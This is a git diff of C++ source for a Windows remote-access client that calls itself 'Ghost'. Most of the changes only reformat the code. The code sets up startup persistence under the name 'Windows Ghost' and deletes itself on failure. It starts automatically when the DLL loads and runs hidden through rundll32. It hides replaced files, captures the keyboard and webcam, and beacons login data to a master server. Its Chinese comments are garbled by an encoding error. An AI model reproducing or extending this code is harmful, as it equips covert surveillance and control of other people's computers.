GetNextScreen(DWORD &dwSize) - { - dwSize=m_dwSize; - return (BYTE*)m_BitmapData_Full; - } + BYTE* GetNextScreen(DWORD &dwSize) + { + dwSize=m_dwSize; + return (BYTE*)m_BitmapData_Full; + } - STDMETHODIMP SampleCB(double dbSampleTime, IMediaSample * Sample) - { - return 0; - } + STDMETHODIMP SampleCB(double dbSampleTime, IMediaSample * Sample) + { + return 0; + } - //ص õ bmp - STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize) - { - if (!szBuffer) - { - return E_POINTER; - } + //ص õ bmp + STDMETHODIMP BufferCB(double dblSampleTime, BYTE * szBuffer, long ulBufferSize) + { + if (!szBuffer) { + return E_POINTER; + } - if (bStact==CMD_CAN_COPY) //δʼ ͵ͬһ - { - //ͼݿǵڴ - memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //λͼ + if (bStact==CMD_CAN_COPY) { //δʼ ͵ͬһ + //ͼݿǵڴ + memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //λͼ - InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //ԭԷ - return S_OK; - } - return -1; - } + InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //ԭԷ + return S_OK; + } + return -1; + } }; -class CCaptureVideo +class CCaptureVideo { public: - CCaptureVideo(); - virtual ~CCaptureVideo(); - LPBITMAPINFO GetBmpInfor(); - HRESULT InitCaptureGraphBuilder(); - HRESULT Open(int iDeviceID,int iPress); - BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter); + CCaptureVideo(); + virtual ~CCaptureVideo(); + LPBITMAPINFO GetBmpInfor(); + HRESULT InitCaptureGraphBuilder(); + HRESULT Open(int iDeviceID,int iPress); + BOOL BindVideoFilter(int deviceId, IBaseFilter **pFilter); - LPBYTE GetDIB(DWORD& dwSize); + LPBYTE GetDIB(DWORD& dwSize); - int GetDIBBufSize() const { return mCB.m_dwSize; } + int GetDIBBufSize() const + { + return mCB.m_dwSize; + } - BOOL m_bExit; + BOOL m_bExit; - HWND m_hWnd; + HWND m_hWnd; - static CSampleGrabberCB mCB; - IGraphBuilder * m_pGB; //ֵͨԷ FCDO Filter Control Device Object - ICaptureGraphBuilder2* m_pCapture; //ֵͨԷ ʵCDO + static CSampleGrabberCB mCB; + IGraphBuilder * m_pGB; //ֵͨԷ FCDO Filter Control Device Object + ICaptureGraphBuilder2* m_pCapture; //ֵͨԷ ʵCDO - IMediaControl* m_pMC; //豸Ľӿ - IVideoWindow* m_pVW; + IMediaControl* m_pMC; //豸Ľӿ + IVideoWindow* m_pVW; - IBaseFilter* m_pBF; //FDO - ISampleGrabber* m_pGrabber; // 24Color + IBaseFilter* m_pBF; //FDO + ISampleGrabber* m_pGrabber; // 24Color - void FreeMediaType(AM_MEDIA_TYPE& mt); - void ResizeVideoWindow(); - HRESULT SetupVideoWindow(); - void SendEnd(); + void FreeMediaType(AM_MEDIA_TYPE& mt); + void ResizeVideoWindow(); + HRESULT SetupVideoWindow(); + void SendEnd(); }; #endif // !defined(AFX_CAPTUREVIDEO_H__0984BB8E_6DCB_4A5C_8E03_1217AE6E409D__INCLUDED_) diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 3caa5e5..a748d2f 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -16,9 +16,9 @@ extern "C" { // Զ̵ַ CONNECT_ADDRESS g_SETTINGS = { - FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, - FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, {}, - 0, 7057226198541618915, {}, + FLAG_GHOST, "127.0.0.1", "6543", CLIENT_TYPE_DLL, false, DLL_VERSION, + FALSE, Startup_DLL, PROTOCOL_HELL, PROTO_TCP, RUNNING_RANDOM, "default", {}, + 0, 7057226198541618915, {}, }; // տͻֻ2ȫֱ: g_SETTINGSg_MyAppg_SETTINGSΪg_MyAppijԱ. @@ -31,63 +31,67 @@ int ClientApp::m_nCount = 0; CLock ClientApp::m_Locker; -BOOL IsProcessExit() { - return g_MyApp.g_bExit == S_CLIENT_EXIT; +BOOL IsProcessExit() +{ + return g_MyApp.g_bExit == S_CLIENT_EXIT; } -BOOL IsSharedRunning(void* thisApp) { - ClientApp* This = (ClientApp*)thisApp; - return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit); +BOOL IsSharedRunning(void* thisApp) +{ + ClientApp* This = (ClientApp*)thisApp; + return (S_CLIENT_NORMAL == g_MyApp.g_bExit) && (S_CLIENT_NORMAL == This->g_bExit); } -BOOL IsClientAppRunning(void* thisApp) { - ClientApp* This = (ClientApp*)thisApp; - return S_CLIENT_NORMAL == This->g_bExit; +BOOL IsClientAppRunning(void* thisApp) +{ + ClientApp* This = (ClientApp*)thisApp; + return S_CLIENT_NORMAL == This->g_bExit; } -ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) { - auto v = StringToVector(remoteAddr, ':', 2); - if (v[0].empty() || v[1].empty()) - return nullptr; - auto a = new ClientApp(g_MyApp.g_Connection, run, shared); - a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str())); - return a; +ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared) +{ + auto v = StringToVector(remoteAddr, ':', 2); + if (v[0].empty() || v[1].empty()) + return nullptr; + auto a = new ClientApp(g_MyApp.g_Connection, run, shared); + a->g_Connection->SetServer(v[0].c_str(), atoi(v[1].c_str())); + return a; } -DWORD WINAPI StartClientApp(LPVOID param) { - ClientApp::AddCount(1); - ClientApp* app = (ClientApp*)param; - CONNECT_ADDRESS& settings(*(app->g_Connection)); - const char* ip = settings.ServerIP(); - int port = settings.ServerPort(); - State& bExit(app->g_bExit); - if (ip != NULL && port > 0) - { - settings.SetServer(ip, port); - } - if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) { - Mprintf(": ṩԶIPͶ˿!\n"); - Sleep(3000); - } else { - app->g_hInstance = GetModuleHandle(NULL); - Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort()); +DWORD WINAPI StartClientApp(LPVOID param) +{ + ClientApp::AddCount(1); + ClientApp* app = (ClientApp*)param; + CONNECT_ADDRESS& settings(*(app->g_Connection)); + const char* ip = settings.ServerIP(); + int port = settings.ServerPort(); + State& bExit(app->g_bExit); + if (ip != NULL && port > 0) { + settings.SetServer(ip, port); + } + if (strlen(settings.ServerIP()) == 0 || settings.ServerPort() <= 0) { + Mprintf(": ṩԶIPͶ˿!\n"); + Sleep(3000); + } else { + app->g_hInstance = GetModuleHandle(NULL); + Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort()); - do { - bExit = S_CLIENT_NORMAL; - HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL); + do { + bExit = S_CLIENT_NORMAL; + HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL); - WaitForSingleObject(hThread, INFINITE); - CloseHandle(hThread); - if (IsProcessExit()) // process exit - break; - } while (E_RUN == status && S_CLIENT_EXIT != bExit); - } + WaitForSingleObject(hThread, INFINITE); + CloseHandle(hThread); + if (IsProcessExit()) // process exit + break; + } while (E_RUN == status && S_CLIENT_EXIT != bExit); + } - auto r = app->m_ID; - if (app != &g_MyApp) delete app; - ClientApp::AddCount(-1); + auto r = app->m_ID; + if (app != &g_MyApp) delete app; + ClientApp::AddCount(-1); - return r; + return r; } /** @@ -98,63 +102,63 @@ DWORD WINAPI StartClientApp(LPVOID param) { * @return ȴWAIT_OBJECT_0ɹ, WAIT_FAILEDʧܣ */ DWORD WaitForMultipleHandlesEx( - const std::vector& handles, - BOOL waitAll = TRUE, - DWORD timeout = INFINITE -) { - const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // ϵͳƣ64 - DWORD totalHandles = static_cast(handles.size()); + const std::vector& handles, + BOOL waitAll = TRUE, + DWORD timeout = INFINITE +) +{ + const DWORD MAX_WAIT = MAXIMUM_WAIT_OBJECTS; // ϵͳƣ64 + DWORD totalHandles = static_cast(handles.size()); - // 1. Ч - for (HANDLE h : handles) { - if (h == NULL || h == INVALID_HANDLE_VALUE) { - SetLastError(ERROR_INVALID_HANDLE); - return WAIT_FAILED; - } - } + // 1. Ч + for (HANDLE h : handles) { + if (h == NULL || h == INVALID_HANDLE_VALUE) { + SetLastError(ERROR_INVALID_HANDLE); + return WAIT_FAILED; + } + } - // 2. 64ֱӵԭAPI - if (totalHandles <= MAX_WAIT) { - return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout); - } + // 2. 64ֱӵԭAPI + if (totalHandles <= MAX_WAIT) { + return WaitForMultipleObjects(totalHandles, handles.data(), waitAll, timeout); + } - // 3. ȴ߼ - if (waitAll) { - // ȴо - for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) { - DWORD batchSize = min(MAX_WAIT, totalHandles - i); - DWORD result = WaitForMultipleObjects( - batchSize, - &handles[i], - TRUE, // ȴǰȫ - timeout - ); - if (result == WAIT_FAILED) { - return WAIT_FAILED; - } - } - return WAIT_OBJECT_0; - } - else { - // ֻȴһ - while (true) { - for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) { - DWORD batchSize = min(MAX_WAIT, totalHandles - i); - DWORD result = WaitForMultipleObjects( - batchSize, - &handles[i], - FALSE, // ǰһɼ - timeout - ); - if (result != WAIT_FAILED && result != WAIT_TIMEOUT) { - return result + i; // ȫ - } - } - if (timeout != INFINITE) { - return WAIT_TIMEOUT; - } - } - } + // 3. ȴ߼ + if (waitAll) { + // ȴо + for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) { + DWORD batchSize = min(MAX_WAIT, totalHandles - i); + DWORD result = WaitForMultipleObjects( + batchSize, + &handles[i], + TRUE, // ȴǰȫ + timeout + ); + if (result == WAIT_FAILED) { + return WAIT_FAILED; + } + } + return WAIT_OBJECT_0; + } else { + // ֻȴһ + while (true) { + for (DWORD i = 0; i < totalHandles; i += MAX_WAIT) { + DWORD batchSize = min(MAX_WAIT, totalHandles - i); + DWORD result = WaitForMultipleObjects( + batchSize, + &handles[i], + FALSE, // ǰһɼ + timeout + ); + if (result != WAIT_FAILED && result != WAIT_TIMEOUT) { + return result + i; // ȫ + } + } + if (timeout != INFINITE) { + return WAIT_TIMEOUT; + } + } + } } #if _CONSOLE @@ -169,210 +173,210 @@ DWORD WaitForMultipleHandlesEx( BOOL CALLBACK callback(DWORD CtrlType) { - if (CtrlType == CTRL_CLOSE_EVENT) - { - g_MyApp.g_bExit = S_CLIENT_EXIT; - while (E_RUN == status) - Sleep(20); - } - return TRUE; + if (CtrlType == CTRL_CLOSE_EVENT) { + g_MyApp.g_bExit = S_CLIENT_EXIT; + while (E_RUN == status) + Sleep(20); + } + return TRUE; } int main(int argc, const char *argv[]) { - // ע - int r = RegisterStartup("Windows Ghost", "WinGhost"); - if (r <= 0) { - BOOL s = self_del(); - if (!IsDebug)return r; - } + // ע + int r = RegisterStartup("Windows Ghost", "WinGhost"); + if (r <= 0) { + BOOL s = self_del(); + if (!IsDebug)return r; + } - if (!SetSelfStart(argv[0], REG_NAME)) - { - Mprintf("ÿʧܣùԱȨ.\n"); - } + if (!SetSelfStart(argv[0], REG_NAME)) { + Mprintf("ÿʧܣùԱȨ.\n"); + } - status = E_RUN; + status = E_RUN; - HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe"); - if (ERROR_ALREADY_EXISTS == GetLastError()) - { - CloseHandle(hMutex); - return -2; - } - - SetConsoleCtrlHandler(&callback, TRUE); - const char* ip = argc > 1 ? argv[1] : NULL; - int port = argc > 2 ? atoi(argv[2]) : 0; - ClientApp& app(g_MyApp); - app.g_Connection->SetType(CLIENT_TYPE_ONE); - app.g_Connection->SetServer(ip, port); - if (CLIENT_PARALLEL_NUM == 1) { - // ͻ - StartClientApp(&app); - } else { - std::vector handles(CLIENT_PARALLEL_NUM); - for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) { - auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE); - handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0); - if (handles[i] == 0) { - Mprintf("߳ %d ʧܣ: %d\n", i, errno); - } - } - DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE); - if (result == WAIT_FAILED) { - Mprintf("WaitForMultipleObjects ʧܣ: %d\n", GetLastError()); - } - } - ClientApp::Wait(); - status = E_STOP; + HANDLE hMutex = ::CreateMutexA(NULL, TRUE, "ghost.exe"); + if (ERROR_ALREADY_EXISTS == GetLastError()) { + CloseHandle(hMutex); + return -2; + } - CloseHandle(hMutex); - Logger::getInstance().stop(); + SetConsoleCtrlHandler(&callback, TRUE); + const char* ip = argc > 1 ? argv[1] : NULL; + int port = argc > 2 ? atoi(argv[2]) : 0; + ClientApp& app(g_MyApp); + app.g_Connection->SetType(CLIENT_TYPE_ONE); + app.g_Connection->SetServer(ip, port); + if (CLIENT_PARALLEL_NUM == 1) { + // ͻ + StartClientApp(&app); + } else { + std::vector handles(CLIENT_PARALLEL_NUM); + for (int i = 0; i < CLIENT_PARALLEL_NUM; i++) { + auto client = new ClientApp(app.g_Connection, IsSharedRunning, FALSE); + handles[i] = __CreateSmallThread(0, 0, 64*1024, StartClientApp, client->SetID(i), 0, 0); + if (handles[i] == 0) { + Mprintf("߳ %d ʧܣ: %d\n", i, errno); + } + } + DWORD result = WaitForMultipleHandlesEx(handles, TRUE, INFINITE); + if (result == WAIT_FAILED) { + Mprintf("WaitForMultipleObjects ʧܣ: %d\n", GetLastError()); + } + } + ClientApp::Wait(); + status = E_STOP; - return 0; + CloseHandle(hMutex); + Logger::getInstance().stop(); + + return 0; } #else extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort); // Auto run main thread after load the DLL -DWORD WINAPI AutoRun(LPVOID param) { - do - { - TestRun(NULL, 0); - } while (S_SERVER_EXIT == g_MyApp.g_bExit); +DWORD WINAPI AutoRun(LPVOID param) +{ + do { + TestRun(NULL, 0); + } while (S_SERVER_EXIT == g_MyApp.g_bExit); - if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) { - HMODULE hInstance = (HMODULE)param; - FreeLibraryAndExitThread(hInstance, -1); - } + if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) { + HMODULE hInstance = (HMODULE)param; + FreeLibraryAndExitThread(hInstance, -1); + } - return 0; + return 0; } -BOOL APIENTRY DllMain( HINSTANCE hInstance, - DWORD ul_reason_for_call, - LPVOID lpReserved - ) +BOOL APIENTRY DllMain( HINSTANCE hInstance, + DWORD ul_reason_for_call, + LPVOID lpReserved + ) { - switch (ul_reason_for_call) - { - case DLL_PROCESS_ATTACH: - { - g_MyApp.g_hInstance = (HINSTANCE)hInstance; - CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL)); - break; - } - case DLL_PROCESS_DETACH: - g_MyApp.g_bExit = S_CLIENT_EXIT; - break; - } - return TRUE; + switch (ul_reason_for_call) { + case DLL_PROCESS_ATTACH: { + g_MyApp.g_hInstance = (HINSTANCE)hInstance; + CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL)); + break; + } + case DLL_PROCESS_DETACH: + g_MyApp.g_bExit = S_CLIENT_EXIT; + break; + } + return TRUE; } // һghost extern "C" __declspec(dllexport) void TestRun(char* szServerIP,int uPort) { - ClientApp& app(g_MyApp); - CONNECT_ADDRESS& settings(*(app.g_Connection)); - if (app.IsThreadRun()) { - settings.SetServer(szServerIP, uPort); - return; - } - app.SetThreadRun(TRUE); - app.SetProcessState(S_CLIENT_NORMAL); - settings.SetServer(szServerIP, uPort); - - HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL); - if (hThread == NULL) { - app.SetThreadRun(FALSE); - return; - } + ClientApp& app(g_MyApp); + CONNECT_ADDRESS& settings(*(app.g_Connection)); + if (app.IsThreadRun()) { + settings.SetServer(szServerIP, uPort); + return; + } + app.SetThreadRun(TRUE); + app.SetProcessState(S_CLIENT_NORMAL); + settings.SetServer(szServerIP, uPort); + + HANDLE hThread = __CreateThread(NULL,0,StartClient, &app,0,NULL); + if (hThread == NULL) { + app.SetThreadRun(FALSE); + return; + } #ifdef _DEBUG - WaitForSingleObject(hThread, INFINITE); + WaitForSingleObject(hThread, INFINITE); #else - WaitForSingleObject(hThread, INFINITE); + WaitForSingleObject(hThread, INFINITE); #endif - CloseHandle(hThread); + CloseHandle(hThread); } // ֹͣ -extern "C" __declspec(dllexport) void StopRun() { g_MyApp.g_bExit = S_CLIENT_EXIT; } +extern "C" __declspec(dllexport) void StopRun() +{ + g_MyApp.g_bExit = S_CLIENT_EXIT; +} // Ƿɹֹͣ -extern "C" __declspec(dllexport) bool IsStoped() { return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; } +extern "C" __declspec(dllexport) bool IsStoped() +{ + return g_MyApp.g_bThreadExit && ClientApp::GetCount() == 0; +} // Ƿ˳ͻ -extern "C" __declspec(dllexport) BOOL IsExit() { return g_MyApp.g_bExit; } +extern "C" __declspec(dllexport) BOOL IsExit() +{ + return g_MyApp.g_bExit; +} // д˳κβ -extern "C" __declspec(dllexport) int EasyRun() { - ClientApp& app(g_MyApp); - CONNECT_ADDRESS& settings(*(app.g_Connection)); +extern "C" __declspec(dllexport) int EasyRun() +{ + ClientApp& app(g_MyApp); + CONNECT_ADDRESS& settings(*(app.g_Connection)); - do { - TestRun((char*)settings.ServerIP(), settings.ServerPort()); - while (!IsStoped()) - Sleep(50); - if (S_CLIENT_EXIT == app.g_bExit) // ܿض˳ - break; - else if (S_SERVER_EXIT == app.g_bExit) - continue; - else // S_CLIENT_UPDATE: - break; - } while (true); + do { + TestRun((char*)settings.ServerIP(), settings.ServerPort()); + while (!IsStoped()) + Sleep(50); + if (S_CLIENT_EXIT == app.g_bExit) // ܿض˳ + break; + else if (S_SERVER_EXIT == app.g_bExit) + continue; + else // S_CLIENT_UPDATE: + break; + } while (true); - return app.g_bExit; + return app.g_bExit; } // copy from: SimpleRemoter\client\test.cpp // µDLL -void RunNewDll(const char* cmdLine) { - char path[_MAX_PATH], * p = path; - GetModuleFileNameA(NULL, path, sizeof(path)); - while (*p) ++p; - while ('\\' != *p) --p; - *(p + 1) = 0; - std::string folder = path; - std::string oldFile = folder + "ServerDll.old"; - std::string newFile = folder + "ServerDll.new"; - strcpy(p + 1, "ServerDll.dll"); - BOOL ok = TRUE; - if (_access(newFile.c_str(), 0) != -1) { - if (_access(oldFile.c_str(), 0) != -1) - { - if (!DeleteFileA(oldFile.c_str())) - { - Mprintf("Error deleting file. Error code: %d\n", GetLastError()); - ok = FALSE; - } - } - if (ok && !MoveFileA(path, oldFile.c_str())) { - Mprintf("Error removing file. Error code: %d\n", GetLastError()); - if (_access(path, 0) != -1) - { - ok = FALSE; - } - } - else { - // ļΪ - if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) - { - Mprintf("File created and set to hidden: %s\n", oldFile.c_str()); - } - } - if (ok && !MoveFileA(newFile.c_str(), path)) { - Mprintf("Error removing file. Error code: %d\n", GetLastError()); - MoveFileA(oldFile.c_str(), path);// recover - } - else if (ok) { - Mprintf("Using new file: %s\n", newFile.c_str()); - } - } - char cmd[1024]; - sprintf_s(cmd, "%s,Run %s", path, cmdLine); - ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE); +void RunNewDll(const char* cmdLine) +{ + char path[_MAX_PATH], * p = path; + GetModuleFileNameA(NULL, path, sizeof(path)); + while (*p) ++p; + while ('\\' != *p) --p; + *(p + 1) = 0; + std::string folder = path; + std::string oldFile = folder + "ServerDll.old"; + std::string newFile = folder + "ServerDll.new"; + strcpy(p + 1, "ServerDll.dll"); + BOOL ok = TRUE; + if (_access(newFile.c_str(), 0) != -1) { + if (_access(oldFile.c_str(), 0) != -1) { + if (!DeleteFileA(oldFile.c_str())) { + Mprintf("Error deleting file. Error code: %d\n", GetLastError()); + ok = FALSE; + } + } + if (ok && !MoveFileA(path, oldFile.c_str())) { + Mprintf("Error removing file. Error code: %d\n", GetLastError()); + if (_access(path, 0) != -1) { + ok = FALSE; + } + } else { + // ļΪ + if (SetFileAttributesA(oldFile.c_str(), FILE_ATTRIBUTE_HIDDEN)) { + Mprintf("File created and set to hidden: %s\n", oldFile.c_str()); + } + } + if (ok && !MoveFileA(newFile.c_str(), path)) { + Mprintf("Error removing file. Error code: %d\n", GetLastError()); + MoveFileA(oldFile.c_str(), path);// recover + } else if (ok) { + Mprintf("Using new file: %s\n", newFile.c_str()); + } + } + char cmd[1024]; + sprintf_s(cmd, "%s,Run %s", path, cmdLine); + ShellExecuteA(NULL, "open", "rundll32.exe", cmd, NULL, SW_HIDE); } /* пͻ˵ĺĴ. Ϊ嵼, rundll32 Լ. @@ -383,133 +387,128 @@ int nCmdShow: rundll32.exe ClientDemo.dll,Run 127.0.0.1:6543 ȴвжȡַָʹȫֱȡ */ -extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) { - ClientApp& app(g_MyApp); - CONNECT_ADDRESS& settings(*(app.g_Connection)); - State& bExit(app.g_bExit); - char message[256] = { 0 }; - if (strlen(lpszCmdLine) != 0) { - strcpy_s(message, lpszCmdLine); - }else if (settings.IsValid()) - { - sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort()); - } +extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow) +{ + ClientApp& app(g_MyApp); + CONNECT_ADDRESS& settings(*(app.g_Connection)); + State& bExit(app.g_bExit); + char message[256] = { 0 }; + if (strlen(lpszCmdLine) != 0) { + strcpy_s(message, lpszCmdLine); + } else if (settings.IsValid()) { + sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort()); + } - std::istringstream stream(message); - std::string item; - std::vector result; - while (std::getline(stream, item, ':')) { - result.push_back(item); - } - if (result.size() == 1) - { - result.push_back("80"); - } - if (result.size() != 2) { - MessageBox(hwnd, "ṩȷַ!", "ʾ", MB_OK); - return; - } - - do { - TestRun((char*)result[0].c_str(), atoi(result[1].c_str())); - while (!IsStoped()) - Sleep(20); - if (bExit == S_CLIENT_EXIT) - return; - else if (bExit == S_SERVER_EXIT) - continue; - else // S_CLIENT_UPDATE - break; - } while (true); + std::istringstream stream(message); + std::string item; + std::vector result; + while (std::getline(stream, item, ':')) { + result.push_back(item); + } + if (result.size() == 1) { + result.push_back("80"); + } + if (result.size() != 2) { + MessageBox(hwnd, "ṩȷַ!", "ʾ", MB_OK); + return; + } - sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort()); - RunNewDll(message); + do { + TestRun((char*)result[0].c_str(), atoi(result[1].c_str())); + while (!IsStoped()) + Sleep(20); + if (bExit == S_CLIENT_EXIT) + return; + else if (bExit == S_SERVER_EXIT) + continue; + else // S_CLIENT_UPDATE + break; + } while (true); + + sprintf_s(message, "%s:%d", settings.ServerIP(), settings.ServerPort()); + RunNewDll(message); } #endif DWORD WINAPI StartClient(LPVOID lParam) { - Mprintf("StartClient begin\n"); - ClientApp& app(*(ClientApp*)lParam); - CONNECT_ADDRESS& settings(*(app.g_Connection)); - if (!app.m_bShared) - { - iniFile cfg(CLIENT_PATH); - auto now = time(0); - auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); - if (now <= valid_to) { - auto saved_ip = cfg.GetStr("settings", "master"); - auto saved_port = cfg.GetInt("settings", "port"); - settings.SetServer(saved_ip.c_str(), saved_port); - } - } - auto list = app.GetSharedMasterList(); - if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) { - for (int i=1; i 1 && settings.runningType == RUNNING_PARALLEL) { + for (int i=1; iConnectServer(settings.ServerIP(), settings.ServerPort())) - { - Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort()); - for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10)); - SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); - continue; - } - SAFE_DELETE(Manager); - Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); + app.SetThreadRun(TRUE); + ThreadInfo* kb = CreateKB(&settings, bExit, pubIP); + while (app.m_bIsRunning(&app)) { + ULONGLONG dwTickCount = GetTickCount64(); + if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { + Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort()); + for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10)); + SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); + continue; + } + SAFE_DELETE(Manager); + Manager = new CKernelManager(&settings, ClientObject, app.g_hInstance, kb, bExit); - //׼һ - LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings); - ClientObject->SendLoginInfo(login); + //׼һ + LOGIN_INFOR login = GetLoginInfo(GetTickCount64() - dwTickCount, settings); + ClientObject->SendLoginInfo(login); - do - { - Manager->SendHeartbeat(); - SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); - } while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app)); - while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app)) - Sleep(200); - } - kb->Exit(10); - if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) { - BOOL b = SetEvent(app.g_hEvent); - Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed"); + do { + Manager->SendHeartbeat(); + SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); + } while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app)); + while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app)) + Sleep(200); + } + kb->Exit(10); + if (app.g_bExit == S_CLIENT_EXIT && app.g_hEvent && !app.m_bShared) { + BOOL b = SetEvent(app.g_hEvent); + Mprintf(">>> [StartClient] Set event: %s %s!\n", EVENT_FINISHED, b ? "succeed" : "failed"); - CloseHandle(app.g_hEvent); - app.g_hEvent = NULL; - } + CloseHandle(app.g_hEvent); + app.g_hEvent = NULL; + } - Mprintf("StartClient end\n"); - delete ClientObject; - SAFE_DELETE(Manager); - app.SetThreadRun(FALSE); + Mprintf("StartClient end\n"); + delete ClientObject; + SAFE_DELETE(Manager); + app.SetThreadRun(FALSE); - return 0; -} + return 0; +} diff --git a/client/ClientDll.h b/client/ClientDll.h index 2be872b..0c9bf13 100644 --- a/client/ClientDll.h +++ b/client/ClientDll.h @@ -23,69 +23,78 @@ BOOL IsSharedRunning(void* thisApp); BOOL IsClientAppRunning(void* thisApp); // ͻࣺȫֱһ. -typedef struct ClientApp -{ - State g_bExit; // Ӧó״̬1-ض˳ 2-ض˳ 3- - BOOL g_bThreadExit; // ߳״̬ - HINSTANCE g_hInstance; // ̾ - CONNECT_ADDRESS* g_Connection; // Ϣ - HANDLE g_hEvent; // ȫ¼ - BOOL m_bShared; // Ƿ - IsRunning m_bIsRunning; // ״̬ - unsigned m_ID; // Ψһʶ - static int m_nCount; // - static CLock m_Locker; - ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) { - memset(this, 0, sizeof(ClientApp)); - g_Connection = new CONNECT_ADDRESS(*conn); - m_bIsRunning = run; - m_bShared = shared; - g_bThreadExit = TRUE; - } - std::vector GetSharedMasterList() { - DomainPool pool = g_Connection->ServerIP(); - auto list = pool.GetIPList(); - return list; - } - ~ClientApp() { - SAFE_DELETE(g_Connection); - } - ClientApp* SetID(unsigned id) { - m_ID = id; - return this; - } - static void AddCount(int n=1) { - m_Locker.Lock(); - m_nCount+=n; - m_Locker.Unlock(); - } - static int GetCount() { - m_Locker.Lock(); - int n = m_nCount; - m_Locker.Unlock(); - return n; - } - static void Wait() { - while (GetCount()) - Sleep(50); - } - bool IsThreadRun() { - m_Locker.Lock(); - BOOL n = g_bThreadExit; - m_Locker.Unlock(); - return FALSE == n; - } - void SetThreadRun(BOOL run = TRUE) { - m_Locker.Lock(); - g_bThreadExit = !run; - m_Locker.Unlock(); - } - void SetProcessState(State state = S_CLIENT_NORMAL) { - m_Locker.Lock(); - g_bExit = state; - m_Locker.Unlock(); - } -}ClientApp; +typedef struct ClientApp { + State g_bExit; // Ӧó״̬1-ض˳ 2-ض˳ 3- + BOOL g_bThreadExit; // ߳״̬ + HINSTANCE g_hInstance; // ̾ + CONNECT_ADDRESS* g_Connection; // Ϣ + HANDLE g_hEvent; // ȫ¼ + BOOL m_bShared; // Ƿ + IsRunning m_bIsRunning; // ״̬ + unsigned m_ID; // Ψһʶ + static int m_nCount; // + static CLock m_Locker; + ClientApp(CONNECT_ADDRESS*conn, IsRunning run, BOOL shared=FALSE) + { + memset(this, 0, sizeof(ClientApp)); + g_Connection = new CONNECT_ADDRESS(*conn); + m_bIsRunning = run; + m_bShared = shared; + g_bThreadExit = TRUE; + } + std::vector GetSharedMasterList() + { + DomainPool pool = g_Connection->ServerIP(); + auto list = pool.GetIPList(); + return list; + } + ~ClientApp() + { + SAFE_DELETE(g_Connection); + } + ClientApp* SetID(unsigned id) + { + m_ID = id; + return this; + } + static void AddCount(int 